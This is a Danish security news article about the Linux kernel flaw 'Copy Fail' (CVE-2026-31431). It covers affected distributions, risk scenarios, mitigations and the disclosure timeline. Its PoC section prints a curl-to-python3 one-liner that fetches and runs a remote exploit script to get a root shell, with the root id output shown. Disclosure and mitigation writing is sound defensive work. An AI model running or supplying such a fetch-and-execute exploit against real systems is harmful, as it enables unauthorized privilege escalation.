732 byte rammer alle Linux-systemer: Episk sårbarhed har luret i næsten ti år

🚨 Episk sårbarhed: 732 byte rammer alle Linux-systemer og har luret i næsten ti år
En sårbarhed i Linux-kernen kaldet ”Copy Fail” (CVE-2026-31431) er blevet offentliggjort:
- 732 byte Python-script
- er 100 % pålideligt og kræver hverken race-vinduer eller kerne-offsets
- Berører alle Linux-distributioner (fra 2017 og frem)
- Primitiv til container-escape og angreb på tværs af tenants
- Har luret i næsten ti år og blev offentliggjort den 29. april 2026
Det samme script virker på Ubuntu, RHEL, Amazon Linux og SUSE – uden ændringer.
🎯 Sårbarhedens kerne
En enkelt logisk fejl
Copy Fail er en ligefrem logisk fejl:
- Intet race-vindue er nødvendigt: i modsætning til de fleste Linux-LPE'er, der kræver race conditions
- Ingen kerne-offsets er nødvendige: ingen distributionsspecifikke offsets
- 100 % pålidelig: lykkes hver gang
- Det samme script: virker på alle distributioner
Angrebskæden
Copy Fails angrebskæde:
- authencesn-logikfejl: en logisk fejl i koden
- AF_ALG: via kernelens crypto-API
- splice(): kædede kald
- 4 bytes page-cache-skrivning: det endelige angrebsprimitiv
- Udnyttelig i næsten ti år: fra 2017 og til patchen udkom
📊 Omfanget af berørte systemer
Officielt verificerede distributioner
| Distribution | Kerneversion | Status |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Verificeret |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Verificeret |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Verificeret |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Verificeret |
Andre berørte distributioner
Følgende distributionerer også berørt:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Embedded Linux
Konklusion: hvis din kerne er bygget mellem 2017 og patchen – er du berørt.
💡 Højrisikoscenarier
| Scenarie | Risiko | Konsekvens |
|---|---|---|
| Multi-tenant Linux-værter | Høj | Hvilken som helst bruger kan blive root |
| Kubernetes-/containerklynger | Høj | Angreb på tværs af containere og tenants |
| CI-runner/Build Farm | Høj | En PR giver root på runneren |
| Cloud SaaS, der kører brugerkode | Høj | Tenant bliver hostens root |
| Almindelige Linux-servere | Middel | Intern LPE, kan kædes sammen |
| Enkeltbruger-bærbare | Lav | Trin til rettighedsforhøjelse efter indtrængen |
🔧 Afhjælpning
Løsning 1: Opdatér kernen (anbefalet)
Opdatér kernen til en version, der indeholder mainline commit a664bf3d603d:
- Rettelsen: tilbagekalder algif_aead in-place-optimeringen fra 2017
- Effekt: page-cache-sider optræder ikke længere i den skrivbare destination-scatterlist
- Status: de fleste store distributioner har udsendt patches
Løsning 2: Deaktivér algif_aead-modulet (midlertidigt)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Konsekvenser af at deaktivere algif_aead
| Komponent | Påvirkning |
|---|---|
| dm-crypt/LUKS | Påvirkes ikke |
| kTLS/IPsec | Påvirkes ikke |
| OpenSSL/SSH | Påvirkes ikke |
| AF_ALG i userspace | Påvirkes muligvis |
Konklusion: for de fleste systemer har deaktivering af algif_aead ingen mærkbar påvirkning.
Løsning 3: Blokér AF_ALG med seccomp
For upålidelige workloads (containere, sandboxes, CI) kan oprettelse af AF_ALG-sockets blokeres med seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 PoC-demo
PoC'en for sårbarheden er offentliggjort, så forsvaret kan verificere deres systemer:
Hurtig kørsel
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
PoC-detaljer
- Filstørrelse: 732 byte
- Sprog: Python 3.10+ – kun stdlib (os, socket, zlib)
- Standardmål: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Advarsel: scriptet ændrer page-cachen for et setuid-program; ændringerne overlever ikke en genstart, men root-shellen er ægte. Kør det ikke i produktionsmiljøer.
📅 Tidslinje for offentliggørelsen
| Dato | Hændelse |
|---|---|
| 2026-03-23 | Rapporteret til Linux-kernens security-team |
| 2026-03-24 | Indledende bekræftelse |
| 2026-03-25 | Patch-forslag og review |
| 2026-04-01 | Patch indsendt til mainline |
| 2026-04-22 | CVE-2026-31431 tildelt |
| 2026-04-29 | Offentliggørelse |
🔍 Opdageren: Xint Code
Sårbarheden blev opdaget af Xint Code:
- Skanningstid: ca. 1 times skanning af Linux crypto/-subsystemet
- Opdagelsesmetode: AI-drevet kodegennemgang
- Fuld analyse: root cause, diagrammer, operator prompt
- Andre fund: andre sårbarheder med høj alvorlighedsgrad blev opdaget samtidig og er stadig under koordineret offentliggørelse
Xint Codes meritter
- 0-day RCE: ZeroDay Cloud – ryddede af med hele databasekategorien (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finale i DARPA AI Cyber Challenge
- DEF CON CTF 9×: det mest vindende hold i DEF CON CTF's historie
📝 Konklusion
Copy Fail (CVE-2026-31431) er en episk sårbarhed i Linux-kernen:
- 732 byte rammer alle Linux-systemer (fra 2017 og frem)
- 100 % pålidelig, en enkelt logisk fejl
- Container-escape og angreb på tværs af tenants
- Har luret i næsten ti år og blev offentliggjort den 29. april 2026
- Højrisikoscenarier: multi-tenant-værter, containerklynger, CI-runners, SaaS
- Afhjælpning: opdatér kernen eller deaktivér algif_aead
- Opdaget af Xint Code med AI-drevet kodegennemgang
En episk sårbarhed i næsten ti år – ét script rammer alle Linux-systemer.
Sårbarhedens officielle hjemmeside:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Teknisk analyse:https://xint.io/blog/copy-fail-linux-distributions
Kernel-patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5